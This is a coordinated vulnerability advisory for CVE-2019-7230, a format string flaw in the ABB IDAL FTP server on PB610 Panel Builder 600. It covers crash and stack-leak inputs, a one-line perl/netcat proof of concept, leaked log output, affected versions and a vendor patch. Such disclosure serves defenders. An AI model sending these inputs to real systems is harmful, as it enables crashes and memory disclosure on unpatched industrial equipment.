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ABB IDAL FTP Server Uncontrolled Format String

ABB IDAL FTP Server Uncontrolled Format String
Posted Jun 21, 2019
Authored by Eldar Marcussen

The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.

tags | exploit
advisories | CVE-2019-7230
SHA-256 | 97f45ac950dcf506a57f347833ae16de5edfa742a6d69f781cb6a6095d7d3ef0

ABB IDAL FTP Server Uncontrolled Format String

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XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-004
CVE-2019-7230
ABBVU-IAMF-1902008


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.


Technical details
-----------------
The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack.


Proof of concept
----------------
```
perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22
````

UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory
UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory


Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure


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